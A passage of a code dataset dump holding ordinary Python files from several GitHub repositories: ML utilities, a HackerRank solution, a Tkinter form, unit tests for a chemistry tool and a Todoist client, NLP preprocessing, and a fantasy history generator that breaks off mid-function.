finished!')\n return state_dict\n\n\ndef parse_net_config(net_config):\n if isinstance(net_config, list):\n return net_config\n elif isinstance(net_config, str):\n str_configs = net_config.split('|')\n return [eval(str_config) for str_config in str_configs]\n else:\n raise TypeError\n\ndef load_net_config(path):\n with open(path, 'r') as f:\n net_config = ''\n while True:\n line = f.readline().strip()\n if line:\n net_config += line\n else:\n break\n return net_config\n\n\ndef sort_net_config(net_config):\n def sort_skip(op_list):\n # put the skip operation to the end of one stage\n num = op_list.count('skip')\n for _ in range(num):\n op_list.remove('skip')\n op_list.append('skip')\n return op_list\n\n sorted_net_config = []\n for cfg in net_config:\n cfg[1] = sort_skip(cfg[1])\n sorted_net_config.append(cfg)\n return sorted_net_config\n\n\ndef get_output_chs(net_config):\n if '|' in net_config:\n net_config = parse_net_config(net_config) \n stage_chs = []\n for block in net_config[:-1]:\n if block[-1]==2:\n stage_chs.append(block[0][0])\n \n stage_chs.append(net_config[-1][0][1])\n\n return stage_chs[-4:]\n\n\ndef get_network_madds(backbone, neck, head, input_size, logger, search=False):\n input_data = torch.randn((2,3,)+input_size).cuda()\n backbone_madds, backbone_data = comp_multadds_fw(backbone, input_data)\n backbone_params = count_parameters_in_MB(backbone)\n if neck is not None:\n neck_madds, neck_data = comp_multadds_fw(neck, backbone_data)\n neck_params = count_parameters_in_MB(neck)\n else:\n neck_madds = 0.\n neck_params = 0.\n neck_data = backbone_data\n if hasattr(head, 'search') and search:\n head.search = False\n head_madds, _ = comp_multadds_fw(head, neck_data)\n head_params = count_parameters_in_MB(head)\n if hasattr(head, 'search') and search:\n head.search = True\n total_madds = backbone_madds + neck_madds + head_madds\n total_params = backbone_params + neck_params + head_params\n\n logger.info(\"Derived Mult-Adds: [Backbone] %.2fGB [Neck] %.2fGB [Head] %.2fGB [Total] %.2fGB\", \n backbone_madds/1e3, neck_madds/1e3, head_madds/1e3, total_madds/1e3)\n logger.info(\"Derived Num Params: [Backbone] %.2fMB [Neck] %.2fMB [Head] %.2fMB [Total] %.2fMB\", \n backbone_params, neck_params, head_params, total_params)\n\n\ndef convert_sync_batchnorm(module, process_group=None):\n module_output = module\n if isinstance(module, torch.nn.modules.batchnorm._BatchNorm):\n module_output = torch.nn.SyncBatchNorm(module.num_features,\n module.eps, module.momentum,\n module.affine,\n module.track_running_stats,\n process_group)\n if module.affine:\n module_output.weight.data = module.weight.data.clone().detach()\n module_output.bias.data = module.bias.data.clone().detach()\n # keep reuqires_grad unchanged\n module_output.weight.requires_grad = module.weight.requires_grad\n module_output.bias.requires_grad = module.bias.requires_grad\n module_output.running_mean = module.running_mean\n module_output.running_var = module.running_var\n module_output.num_batches_tracked = module.num_batches_tracked\n module_output._specify_ddp_gpu_num(1)\n for name, child in module.named_children():\n module_output.add_module(name, convert_sync_batchnorm(child, process_group))\n del module\n return module_output\n\n\ndef init_logger(log_dir=None, level=logging.INFO):\n \"\"\"Init the logger.\n\n Args:\n log_dir(str, optional): Log file directory. If not specified, no\n log file will be used.\n level (int or str): See the built-in python logging module.\n\n Returns:\n :obj:`~logging.Logger`: Python logger.\n \"\"\"\n rank, _ = get_dist_info()\n logging.basicConfig(\n format='%(asctime)s - %(message)s', level=level)\n logger = logging.getLogger(__name__)\n if log_dir and rank == 0:\n filename = '{}.log'.format(time.strftime('%Y%m%d_%H%M%S', time.localtime()))\n log_file = osp.join(log_dir, filename)\n _add_file_handler(logger, log_file, level=level)\n return logger\n\n\ndef get_root_logger(log_dir=None, log_level=logging.INFO):\n logger = logging.getLogger()\n if not logger.hasHandlers():\n logging.basicConfig(\n format='%(asctime)s - %(message)s',\n level=log_level,\n datefmt='%m/%d %I:%M:%S %p')\n rank, _ = get_dist_info()\n if rank != 0:\n logger.setLevel('ERROR')\n\n if log_dir and rank == 0:\n filename = '{}.log'.format(time.strftime('%Y%m%d_%H%M%S', time.localtime()))\n log_file = osp.join(log_dir, filename)\n _add_file_handler(logger, log_file, level=log_level)\n return logger\n\n\ndef _add_file_handler(logger,\n filename=None,\n mode='w',\n level=logging.INFO):\n file_handler = logging.FileHandler(filename, mode)\n file_handler.setFormatter(\n logging.Formatter('%(asctime)s - %(message)s'))\n file_handler.setLevel(level)\n logger.addHandler(file_handler)\n return logger\n\n\ndef create_work_dir(work_dir):\n if mmcv.is_str(work_dir):\n work_dir = osp.abspath(work_dir)\n mmcv.mkdir_or_exist(work_dir)\n elif work_dir is None:\n work_dir = None\n else:\n raise TypeError('\"work_dir\" must be a str or None')\n","repo_name":"JaminFong/FNA","sub_path":"fna_det/tools/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9168,"program_lang":"python","lang":"en","doc_type":"code","stars":165,"dataset":"github-code","pt":"71"} +{"seq_id":"25706922250","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the checkMagazine function below.\ndef checkMagazine(magazine, note):\n words = set(magazine)\n dic = {i: 0 for i in words}\n for i in magazine:\n dic[i] += 1\n\n for i in note:\n if i not in dic:\n print(\"No\")\n return\n elif dic[i] == 0:\n print(\"No\")\n return\n else:\n dic[i] -= 1\n print(\"Yes\")\n\n\n\n\nif __name__ == '__main__':\n mn = input().split()\n\n m = int(mn[0])\n\n n = int(mn[1])\n\n magazine = input().rstrip().split()\n\n note = input().rstrip().split()\n\n checkMagazine(magazine, note)\n","repo_name":"machsix/HackerRank","sub_path":"interview-preparation-kit/dictionaries-hashmaps/ctci-ransom-note.py","file_name":"ctci-ransom-note.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"8597029389","text":"from tkinter import *\r\nroot=Tk()\r\nroot.geometry(\"655x433\")\r\ndef getval():\r\n print(\"Submitting Form\")\r\n print(f\"{namevalue.get(),phonevalue.get(),gendervalue.get(),payvalue.get(),foodservicevalue.get()} \")\r\n\r\n with open(\"record.txt\",\"a\") as f:\r\n f.write(f\"{namevalue.get(),phonevalue.get(),gendervalue.get(),payvalue.get(),foodservicevalue.get()}\\n \")\r\nroot.title(\"Shiv Travels\")\r\n\r\nl1=Label(root,text=\"Welcome to Shiv Travles\",font=\"comicscansms 13 bold\",pady=15)\r\nl1.grid(row=0,column=3)\r\n\r\nname=Label(root,text=\"Name\")\r\nphone=Label(root,text=\"Phone No.\")\r\ngender=Label(root,text=\"Gender\")\r\npaymode=Label(root,text=\"Payment Mode\")\r\n\r\nname.grid(row=1,column=2)\r\nphone.grid(row=2,column=2)\r\ngender.grid(row=3,column=2)\r\npaymode.grid(row=4,column=2)\r\n\r\nnamevalue=StringVar()\r\nphonevalue=StringVar()\r\ngendervalue=StringVar()\r\npayvalue=StringVar()\r\nfoodservicevalue=IntVar()\r\n\r\nnameentry=Entry(root,textvariable=namevalue)\r\nphoneentry=Entry(root,textvariable=phonevalue)\r\ngenderentry=Entry(root,textvariable=gendervalue)\r\npayentry=Entry(root,textvariable=payvalue)\r\n\r\nnameentry.grid(row=1,column=3)\r\nphoneentry.grid(row=2,column=3)\r\ngenderentry.grid(row=3,column=3)\r\npayentry.grid(row=4,column=3)\r\n\r\nfoodservice=Checkbutton(text=\"want to pre book your meals\",variable=foodservicevalue)\r\nfoodservice.grid(row=5,column=3)\r\n\r\nb1=Button(text=\"SUBMIT \",command=getval)\r\nb1.grid(row=6,column=3)\r\n\r\nroot.mainloop()","repo_name":"Shiv359/Python_Tkinter-","sub_path":"tut24.py","file_name":"tut24.py","file_ext":"py","file_size_in_byte":1419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"5720940659","text":"import pytest\n\nfrom turbomoleio.input.utils import get_define_template\nfrom turbomoleio.output.files import AoforceOutput, ScfOutput\nfrom turbomoleio.testfiles.utils import run_itest\n\nstructures = [\"h2o\", \"nh3\"]\n\n\n@pytest.mark.integration\nclass TestAoforce:\n @pytest.mark.parametrize(\"structure\", structures)\n def test_run_ridft_aoforce_nosym(self, structure):\n dp = get_define_template(\"ridft\")\n dp[\"desy\"] = False\n\n assert run_itest(\n [\"ridft\", \"aoforce\"],\n dp,\n structure,\n \"ridft_aoforce_{}_nosym\".format(structure),\n [ScfOutput, AoforceOutput],\n )\n\n @pytest.mark.parametrize(\"structure\", structures)\n def test_run_dscf_aoforce_sym(self, structure):\n dp = get_define_template(\"dscf\")\n dp[\"desy\"] = True\n\n assert run_itest(\n [\"dscf\", \"aoforce\"],\n dp,\n structure,\n \"dscf_aoforce_{}_sym\".format(structure),\n [ScfOutput, AoforceOutput],\n )\n","repo_name":"Matgenix/turbomoleio","sub_path":"turbomoleio/integration_tests/test_aoforce.py","file_name":"test_aoforce.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"71"} +{"seq_id":"27345732113","text":"from asyncio import isfuture, iscoroutine, ensure_future, sleep, CancelledError\nfrom unittest.mock import patch, MagicMock\n\nfrom aiohttp.test_utils import AioHTTPTestCase, unittest_run_loop\n\nimport aiotodoist\nfrom tests.stubs import create_app\n\ntry:\n from unittest.mock import AsyncMock # type: ignore[attr-defined]\nexcept ImportError:\n from asynctest import CoroutineMock as AsyncMock\n\n\nclass TestAsyncTodoistAPI(AioHTTPTestCase):\n\n async def get_application(self):\n return create_app()\n\n async def setUpAsync(self):\n await super().setUpAsync()\n self.api = aiotodoist.AsyncTodoistAPI(\"DUMMY_TOKEN\",\n session=self.client,\n cache=None)\n self.api.get_api_url = lambda: \"/\"\n # API endpoint and version does not matter.\n\n def test__get(self):\n with patch.object(self.api.session, \"get\") as m_get:\n resp = MagicMock()\n m_get.return_value = resp\n self.api._get(\"get_null\")\n m_get.assert_called_once_with(\"/get_null\")\n resp.close.assert_not_called()\n\n def test__post(self):\n with patch.object(self.api.session, \"post\") as m_post:\n resp = MagicMock()\n m_post.return_value = resp\n self.api._post(\"post_null\")\n m_post.assert_called_once_with(\"/post_null\")\n resp.close.assert_not_called()\n\n @unittest_run_loop\n async def test__get_async(self):\n resp = await self.api._get_async(\"get_null\")\n self.assertEqual(resp, {})\n\n resp = await self.api._get_async(\"get_null_text\")\n self.assertIsNone(resp)\n\n @unittest_run_loop\n async def test__post_async(self):\n resp = await self.api._post_async(\"post_null\")\n self.assertEqual(resp, {})\n\n resp = await self.api._post_async(\"post_null_text\")\n self.assertIsNone(resp)\n\n @unittest_run_loop\n async def test__post_async_multipart(self):\n data = dict(task=\"wtf\")\n file_data = dict(file=\"123\")\n\n resp = await self.api._post_async(\"post_null\", data=data)\n self.assertEqual(resp.get(\"req_data\"), data)\n\n resp = await self.api._post_async(\"post_null\", files=file_data)\n self.assertEqual(resp.get(\"req_data\"), file_data)\n\n resp = await self.api._post_async(\"post_null\", data=data, files=file_data)\n self.assertEqual(resp.get(\"req_data\"), {**data, **file_data})\n\n @unittest_run_loop\n async def test__get_redirect(self):\n with patch.object(self.api.session, \"get\", new=AsyncMock()) as m_get, \\\n patch.object(self.api, \"_get_async\", new=AsyncMock()) as m_aget:\n await self.api._get(\"get_null\")\n\n m_get.assert_called()\n m_get.assert_not_awaited()\n\n m_aget.assert_called_with(\"get_null\", self.api.get_api_url())\n m_aget.assert_awaited()\n\n @unittest_run_loop\n async def test__post_redirect(self):\n with patch.object(self.api.session, \"post\", new=AsyncMock()) as m_post, \\\n patch.object(self.api, \"_post_async\", new=AsyncMock()) as m_apost:\n await self.api._post(\"post_null\")\n\n m_post.assert_called()\n m_post.assert_not_awaited()\n m_apost.assert_called_with(\"post_null\", self.api.get_api_url())\n m_apost.assert_awaited()\n\n m_post.reset_mock(), m_apost.reset_mock()\n file_data = dict(file=\"dummy\")\n await self.api._post(\"post_null\", files=file_data)\n m_apost.assert_called_with(\"post_null\", self.api.get_api_url(),\n files=file_data)\n\n def test_sync(self):\n m = MagicMock()\n dummy_in = dict(dummy=True, temp_id_mapping=m)\n with patch.object(self.api, \"_post\", return_value=dummy_in):\n resp = self.api.sync()\n self.assertEqual(resp, dummy_in)\n m.items.assert_called()\n\n def test_sync_future_callback(self):\n with patch(\"aiotodoist.api.ensure_future\") as ensure_future:\n resp = self.api.sync()\n\n ensure_future.assert_called_once()\n\n coro = ensure_future.call_args[0][0]\n self.assertTrue(iscoroutine(coro))\n coro.close()\n\n self.assertEqual(resp, ensure_future.return_value)\n resp.add_done_callback.assert_called_once()\n\n @unittest_run_loop\n async def test_sync_awaitable(self):\n fut = self.api.sync()\n self.assertTrue(isfuture(fut))\n fut.cancel()\n\n resp = await self.api.sync()\n self.assertIn(\"token\", resp.get(\"req_data\"))\n self.assertEqual(self.api.token, resp[\"req_data\"][\"token\"])\n self.assertEqual(\"[]\", resp[\"req_data\"].get(\"commands\"))\n\n def test_commit(self):\n with patch.object(self.api, \"sync\") as m_sync:\n self.api.commit()\n\n m_sync.assert_not_called()\n\n commands = [\"a\", \"b\", \"c\"]\n self.api.queue.extend(commands)\n with patch.object(self.api, \"sync\") as m_sync:\n resp = self.api.commit()\n\n m_sync.assert_called_with(commands=commands)\n self.assertEqual([], self.api.queue)\n self.assertEqual(resp, m_sync.return_value)\n\n def test_commit_when_sync_fail(self):\n commands = [\"a\", \"b\", \"c\"]\n self.api.queue.extend(commands)\n\n # sync scenario\n with patch.object(self.api, \"sync\", side_effect=TimeoutError),\\\n self.assertRaises(TimeoutError):\n self.api.commit()\n self.assertEqual(self.api.queue, commands)\n\n @unittest_run_loop\n async def test_commit_when_sync_future_fail(self):\n commands = [\"a\", \"b\", \"c\"]\n self.api.queue.extend(commands)\n\n fut = self.api.commit()\n fut.cancel()\n\n self.assertEqual(self.api.queue, [])\n with self.assertRaises(CancelledError):\n await fut\n del fut\n self.assertEqual(self.api.queue, commands)\n\n @unittest_run_loop\n async def test_commit_when_sync_future_silence_fail(self):\n commands = [\"a\", \"b\", \"c\"]\n self.api.queue.extend(commands)\n\n fut2 = self.api.commit()\n fut2.cancel()\n\n self.assertEqual(self.api.queue, [])\n await sleep(0.1) # let done_callback spawn\n self.assertEqual(self.api.queue, commands)\n\n with self.assertRaises(CancelledError):\n fut2.result()\n\n @unittest_run_loop\n async def test_commit_when_return_not_ok(self):\n rv = dict(sync_status=dict(task=\"not_ok\"))\n commands = [\"a\", \"b\", \"c\"]\n\n # sync scenario\n self.api.queue.extend(commands)\n with patch.object(self.api, \"sync\", return_value=rv):\n self.api.commit(raise_on_error=False)\n self.assertEqual(self.api.queue, [])\n\n self.api.queue.extend(commands)\n with patch.object(self.api, \"sync\", return_value=rv), \\\n self.assertRaises(aiotodoist.api.SyncError):\n self.api.commit(raise_on_error=True)\n self.assertEqual(self.api.queue, [])\n\n def _helper(**kw):\n async def n():\n return rv\n return ensure_future(n())\n # async scenario\n self.api.queue.extend(commands)\n with patch.object(self.api, \"sync\", side_effect=_helper):\n ret = await self.api.commit(raise_on_error=False)\n self.assertEqual(ret, rv)\n self.assertEqual(self.api.queue, [])\n\n self.api.queue.extend(commands)\n with patch.object(self.api, \"sync\", side_effect=_helper),\\\n self.assertRaises(aiotodoist.api.SyncError):\n ret = await self.api.commit(raise_on_error=True)\n self.assertEqual(ret, rv)\n self.assertEqual(self.api.queue, [])\n","repo_name":"LFLab/aio-todoist","sub_path":"tests/test_api.py","file_name":"test_api.py","file_ext":"py","file_size_in_byte":7772,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"71"} +{"seq_id":"8373662460","text":"import torch\nimport copy\n\nPADDING = 0\nUNK = 1\nSTART_DECODING = 2\nSTOP_DECODING = 3\nclass Preprocess():\n def __init__(self):\n self.init_dict = {\"\": PADDING ,\"\": UNK, \"\": START_DECODING, \"\": STOP_DECODING}\n self.dict = None\n self.reverse_dict = None\n \n def getVocab(self, vocab_file):\n return self.pushVocab(vocab_file)\n\n def pushVocab(self, vocab_file):\n vocab_dict = copy.copy(self.init_dict)\n with open(vocab_file) as f:\n for count, vocab in enumerate(f):\n vocab_dict[vocab.strip()] = len(vocab_dict)\n return vocab_dict\n \n def create_vocab(self, file_name, vocab_size=50000):\n vocab = {}\n count_vocab = {}\n with open(file_name) as lines:\n for line in lines:\n words = line.split()\n for word in words:\n if word not in vocab:\n vocab[word] = len(vocab) + 1\n count_vocab[word] = 1\n else:\n count_vocab[word] += 1\n\n #出現回数で単語をカットする\n min_token_num = 1 \n flag = False\n while True:\n min_token_num += 1\n for word in count_vocab:\n if count_vocab[word] < min_token_num :\n if word in vocab:\n del vocab[word]\n if len(vocab) <= vocab_size:\n flag = True\n break\n if flag:\n break\n\n return vocab\n\n def load(self, train, valid, test, mode, vocab_file):\n '''\n mode : 0 -> train_source / eval / decode\n mode : 1 -> train_target\n\n '''\n #create vocab & word cut & write file\n vocab = self.create_vocab(train, vocab_size=50000)\n with open(vocab_file, \"w\") as f:\n for key in vocab.keys():\n f.write(key + \"\\n\")\n \n #create dict\n self.dict = self.getVocab(vocab_file)\n\n #create reverse dict\n self.reverse_dict = {}\n for key, value in self.dict.items():\n self.reverse_dict[value] = key\n\n #文章のトークンにidを振る\n tensor_data = []\n for data_path in (train, valid, test):\n with open(data_path) as f:\n tensor_data.append([ self.ConvertTensor(doc, mode) for i, doc in enumerate(f)])\n \n #return train, valid, test\n return tensor_data[0], tensor_data[1], tensor_data[2]\n\n def ConvertTensor(self, doc, mode):\n doc = self.replaceWord(doc)\n words = self.DocToWord(doc)\n if mode == 1:\n words = [\"\"] + words + [\"\"]\n words_id = self.SentenceToDictID(words)\n return words_id\n\n def replaceWord(self, doc):\n doc = doc.replace(\"\", \"\")\n doc = doc.replace(\"\", \"\")\n return doc\n\n def DocToWord(self, strs):\n return strs.strip().split(' ')\n\n def SentenceToDictID(self, sentence):\n slist = []\n for word in sentence:\n if word in self.dict:\n slist.append(self.dict[word])\n else:\n slist.append(UNK)\n return torch.tensor(slist)\n","repo_name":"pepe-shumpei/transformer_baseline","sub_path":"preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":3268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"9283148953","text":"import random # Used, of course, for random generation.\nimport os # Used to navigate directories to save logs and histories in order.\nimport datetime # Used for logging when the file was made\nimport time # Used for keeping fraction-of-a-second-accurate log times\nimport NameGen as ng\n\nLISTS = open('lists.py', 'r').read()\nexec(LISTS)\ndel LISTS # just good practice not to have this thing floating around\n\nTOWNS = [] # master list of towns, for later\nHEROS = [] # master list of great heros\nWARS = [] # list of tuples of (first warring town, second warring town)\n\ndef rand_limit(low, high):\n \"Gets a random decimal between low and high\"\n choice = random.random()\n while choice < low or choice > high:\n choice = random.random()\n return choice\n\ndef bce_or_not(time):\n \"Either returns 'year (space)' or 'year (space) B' so dates can just be this function with CAL_AB immediately afterward\"\n if time < 0:\n return \"{0} B\".format(time * -1)\n else:\n return time\n\nLAST_CHOSEN = \"\" # needs to be global\n\ndef iFromList(dictname, keyname = \"all\"):\n \"Returns a random item from dictname[keyname] or all children of dictname\"\n global LAST_CHOSEN\n if keyname == \"all\":\n choices = []\n for key, value in dictname.items():\n for item in value:\n choices.append(item)\n chosen = random.choice(choices)\n else:\n chosen = random.choice(dictname[keyname])\n if chosen == LAST_CHOSEN: # won't pick the same thing twice in a row\n chosen = iFromList(dictname, keyname)\n return chosen\n\ndef genTerrain(): # generates a named terrain location\n string = iFromList(TERRAIN_TYPES)\n choice = random.randint(1, 4)\n if choice == 1:\n string = string + \" of {name}\"\n elif choice == 2:\n string = \"{name} \" + string\n elif choice == 3:\n string = \"{name} {name2} \" + string\n elif choice == 4:\n string = string + \" of {name} {name2}\"\n return string.format(name=ng.genName().title(), name2=ng.genName().title())\n\n# Initialize log\nprev_logs = len(os.listdir(\"./Records/Logs/\"))\nlogfile = open(\"./Records/Logs/log_\" + str(prev_logs) + '.txt', 'w')\n\nINIT_TIME = time.time() # starting time in seconds since epoch, to be subtracted from log times\n\ndef log(text):\n \"adds text to log along with timestamp\"\n logfile.write(str(time.time() - INIT_TIME) + \": \")\n logfile.write(str(text))\n logfile.write(\"\\n\\n\")\n logfile.flush()\n\nnow = datetime.datetime.now() # Current time (when this is called)\nlog(\"Log initialized at {0}-{1}-{2} at {3}:{4}:{5} using HistoryGen version 0.1!\".format(now.year, now.month, now.day, now.hour, now.minute, now.second))\n\n# Initialize history file\nhistfile = open(\"./Records/Histories/hist_\" + str(prev_logs) + '.txt', 'w')\n\ndef addHist(text):\n \"adds text to history file\"\n histfile.write(str(text))\n histfile.write(\"\\n\\n\")\n histfile.flush()\n\n# Note that \"now\" has NOT updated since last used.\n# This means the time here will be milliseconds off.\n# This is more consistent and efficient, though.\naddHist(\"History created at {0}-{1}-{2} at {3}:{4}:{5}.\".format(now.year, now.month, now.day, now.hour, now.minute, now.second))\nlog(\"History created.\")\n\nclass Continent: # a Continent has a randgen name and a few biomes attributed\n def __init__(self):\n self.name = ng.genName()\n self.biomes = []\n for i in range(0, random.randint(1, 4)):\n self.biomes.append(random.choice(BIOMETYPES))\n self.inhabFactor = 0\n if 'deciduous forest' in self.biomes:\n self.inhabFactor += 1\n if 'evergreen forest' in self.biomes:\n self.inhabFactor += 0.9\n if 'desert' in self.biomes:\n self.inhabFactor += 0.1\n if 'marsh' in self.biomes:\n self.inhabFactor += 0.5\n if 'grasslands' in self.biomes:\n self.inhabFactor += 0.9\n if 'mountains' in self.biomes:\n self.inhabFactor += 0.7\n if 'tundra' in self.biomes:\n self.inhabFactor += 0.45\n if 'hills' in self.biomes:\n self.inhabFactor += 0.85\n self.inhabFactor /= len(set(self.biomes))\n self.inhabited = False\n self.locations = [] # all locations of towns on continent\n\nclass Town:\n \"A town on a continent\"\n def __init__(self, continent = None):\n self.name = ng.genName()\n if continent == None:\n self.continent = random.choice(CONTINENTS_INHABITED)\n else:\n self.continent = continent\n self.previousNames = []\n self.resources = random.randint(11, 25) # need 10 to stay fine, any less and starvation sets in\n self.size = random.randint(1, 2)\n self.propagate()\n self.trade_routes = []\n self.allies_enemies = {} # city entered with either 1 or -1. 1 = ally, -1 = enemy.\n global TOWNS\n TOWNS.append(self)\n self.propagate()\n self.gen_terrain()\n def changeName(self, return_name):\n \"Change the name of a city, record the old name, and possibly return the new name\"\n self.previousNames.append(self.name)\n self.name = ng.genName()\n if return_name:\n return self.name\n def propagate(self):\n self.relations = {}\n for town in TOWNS:\n if town == self:\n continue\n self.relations[town] = 0\n town.addRelation(self)\n def addRelation(self, town):\n self.relations[town] = 0\n def destroy(self):\n \"Should be called upon the city's destruction.\"\n log(\"Destroying {0}...\".format(self.name))\n for war in WARS:\n if self in war:\n WARS.remove(war)\n global TOWNS\n for town in TOWNS:\n if town == self:\n continue\n if self in town.trade_routes:\n town.trade_routes.remove(self)\n del town.relations[self]\n TOWNS.remove(self)\n def gen_terrain(self):\n terrain = []\n for i in range(3, 10):\n terrain.append(genTerrain())\n self.locations = terrain\n for item in terrain:\n self.continent.locations.append(item)\n\nclass Hero:\n \"A famous person in history\"\n def __init__(self, role = None, hometown = None):\n if hometown == None:\n self.hometown = random.choice(TOWNS)\n else:\n self.hometown = hometown\n self.role = role\n if role == None:\n self.role = iFromList(ROLES, TECH_LEVEL)\n self.name = ng.genName()\n self.nametitle = iFromList(TITLES).format(name=self.name, noun1=iFromList(NOUNS, \"other\"), verb1=iFromList(VERBS, \"er\"), noun2=iFromList(NOUNS, \"plural\"), noun3=iFromList(NOUNS, \"singular\"), verb2=iFromList(VERBS, \"3rdsin\"))\n self.birthdate = currentSimTime\n self.age = 0\n self.earnedTitle = False\n global HEROS\n HEROS.append(self)\n def move(self):\n \"Home was destroyed or they decided to leave.\"\n newhome = random.choice(TOWNS)\n while newhome == self.hometown:\n newhome = random.choice(TOWNS)\n def die(self):\n \"Hero dies.\"\n HEROS.remove(self)\n del self\n def flee(self):\n oldtown = self.hometown\n while self.hometown == oldtown:\n self.hometown = random.choice(TOWNS)\n def namewithtitle(self):\n if self.earnedTitle:\n return self.nametitle\n else:\n return self.name\n def earntitle(self):\n if self.role == \"hunter\":\n return \"killing a {0} {1}\".format(iFromList(COLORS), iFromList(ANIMALS))\n elif self.role == \"farmer\":\n return \"having their crops spared during a plague of {0}s\".format(iFromList(ANIMALS))\n elif self.role == \"cook\":\n return \"cooking a meal so delicious that it caused the ruler of {0} to weep\".format(random.choice(TOWNS).name)\n elif self.role == \"merchant\":\n newtown = Town(self.hometown.continent)\n return \"becoming so rich their servants required their own town to live in. That town became known as {0}\".format(newtown.name)\n elif self.role == \"warrior\":\n return \"leading a charge and killing {0}, legendary enemy general, despite terrible odds\".format(ng.genName())\n elif self.role == \"shaman\":\n return \"a sign from the gods: a {0} {1}\".format(iFromList(COLORS), iFromList(NOUNS))\n elif self.role == \"priest\":\n return \"being spoken to by their god...supposedly\"\n elif self.role == \"youth\":\n return \"fomenting an uprising against the rulers of {0}\".format(random.choice(TOWNS).name)\n elif self.role == \"healer\" or self.role == \"herbalist\":\n return \"bringing {0} back from the brink of death\".format(otherHero(self).name)\n elif self.role == \"artist\":\n return \"creating the masterpiece \\\"{0}\\\"\".format(eval(iFromList(QW_CLAUSES)))\n elif self.role == \"ruler\":\n self.hometown.resources += 20\n return \"leading their city on to greatness and wealth\"\n\nclass LengthError(Exception):\n def __init__(self, message):\n self.message = message\n\ndef otherTown(town):\n if len(TOWNS) == 1:\n raise LengthError(\"TOWNS is 1 item\")\n town2 = town\n while town2 == town:\n town2 = random.choice(TOWNS)\n\ndef otherHero(hero):\n if len(HEROS) == 1:\n log(\"HEROS is 1 item, adding...\")\n greatRise()\n hero2 = hero\n while hero2 == hero:\n hero2 = random.choice(HEROS)\n return hero2\n\n# Step 1: Generate continents\nCONTINENTS = []\nCONTINENTS_INHABITED = []\nfor i in range(0, random.randint(3, 9)):\n CONTINENTS.append(Continent())\n\nlog(\"Creating calendar...\")\ncal_cre_fn = ng.genName() # Calendar creator's first and last name, and origin town\ncal_cre_ln = ng.genName()\ncal_cre_org = ng.genName()\nCAL_AB = cal_cre_fn[0].upper() + cal_cre_ln[0].upper() # Calendar abbreviation\naddHist(\"Note: Calendar uses the {0} scale, named for {1} {2}, famous historian of {3}\".format(CAL_AB, cal_cre_fn, cal_cre_ln, cal_cre_org))\nlog(\"Calendar created\")\n\n# Step 2: Generate the evolution of people\ndef genWorld():\n # For now, this is the only case.\n # Begin to generate history, starting with the planet's creation,\n # then the first life, then first land life, then first humans.\n \n log(\"Generating starting history...\")\n \n addHist(\"A small star, approximately 1 AU away. A ball of debris slowly grow larger and eventually forms into a planet.\")\n addHist(\"Continents form, weather patterns form, all that great stuff.\")\n addHist(\"A chance meeting of molecules forms the first amino acid.\")\n addHist(\"An even more chance meeting forms the first eukaryote.\")\n \n addHist(\"Before long, life is born.\\n\\n--------------------\")\n\n # Generate where the first humans evolve.\n firstCont = random.choice(CONTINENTS)\n addHist(\"The first humans evolve on continent {0} around {1} million {2}. They survive by hunting the herds of {3}.\".format(firstCont.name, str(random.randint(10, 15)), CAL_AB, iFromList(ANIMALS, \"land_prey_large\")))\n firstCont.inhabited = True\n CONTINENTS_INHABITED.append(firstCont)\n\n log(\"Adding humans to continents...\")\n\n ago = random.randint(10, 100) * 0.1\n ago = round(ago, 2)\n \n for cont in CONTINENTS:\n if not cont.inhabited and random.randint(1, 8) != 1:\n addHist(str(ago) + \" million B{0}: \".format(CAL_AB)\n + iFromList(REASONS_TO_LEAVE, \"hunt&gath\")\n + \", {0}s of the {1} {2} discover the continent {3}. They call it {4} {5}, meaning '{6}'.\"\n .format(iFromList(ROLES, \"hunt&gath\"), iFromList(GROUPS, \"hunt&gath\"),\n ng.genName(), cont.name, ng.genName(), ng.genName(), eval(iFromList(QW_CLAUSES, \"where\"))))\n cont.inhabited = True\n CONTINENTS_INHABITED.append(cont)\n ago *= rand_limit(0.5, 1) # Next one will be more recent\n ago = round(ago, 2) # Rounds it so it's not super long\n log(\"World generation finished, continents inhabited\")\n\ndef beginAgric():\n log(\"Discovering agriculture...\")\n cont_where = random.choice(CONTINENTS_INHABITED)\n global begintime\n begintime = random.randint(9000, 20000)\n addHist(\"{0} B{1}, in {2}: The {3} {4} notice that {5} plants have grown where they dropped seeds last year.\".format(begintime, CAL_AB, cont_where.name, ng.genName(), iFromList(GROUPS, \"hunt&gath\"), iFromList(PLANTS)))\n if random.randint(1, 2) == 1:\n log(\"Choice: disregard plants\")\n addHist(\"They disregard this, believing it to be a coincidence.\")\n addHist(\"They regret this later, when another tribe discovers how to cultivate plants and settles down to form the first town.\")\n else:\n log(\"Choice: Settle and cultivate\")\n addHist(\"They decide to settle down and farm the land (a few years later, after figuring out just what farming is).\")\n first_town = Town(cont_where)\n addHist(\"This town comes to be known as {0}.\".format(first_town.name))\n addHist(\"Soon, other towns are formed as the secret of agriculture spreads.\")\n for cont in CONTINENTS_INHABITED:\n for i in range(2, 5):\n newtown = Town(cont)\n log(\"Town {0} created as {1}\".format(newtown.name, newtown))\n\ndef raidTown(t1 = None, t2 = None):\n \"One town raids another town. Leave at None to be set randomly.\"\n log(\"City attack called\")\n global TOWNS\n if t1 == None:\n cs_in_raid = random.sample(TOWNS, 2)\n t1 = cs_in_raid[0]\n t2 = cs_in_raid[1]\n \n log(\"City raid: targets {0} raids {1}\".format(t1.name, t2.name))\n if t1.relations[t2] <= 0:\n addHist(\"{0}{1}: The town of {2} raids the town of {3}.\".format(bce_or_not(currentSimTime), CAL_AB, t1.name, t2.name))\n else:\n addHist(\"{0}{1}: The town of {2} raids their ally {3}, {4}.\".format(bce_or_not(currentSimTime), CAL_AB, t1.name, t2.name, iFromList(REASONS_TO_ATTACK)))\n t2.relations[t1] = 0\n\n allybonus = 0\n\n for town, relation in t1.allies_enemies.items():\n if town == 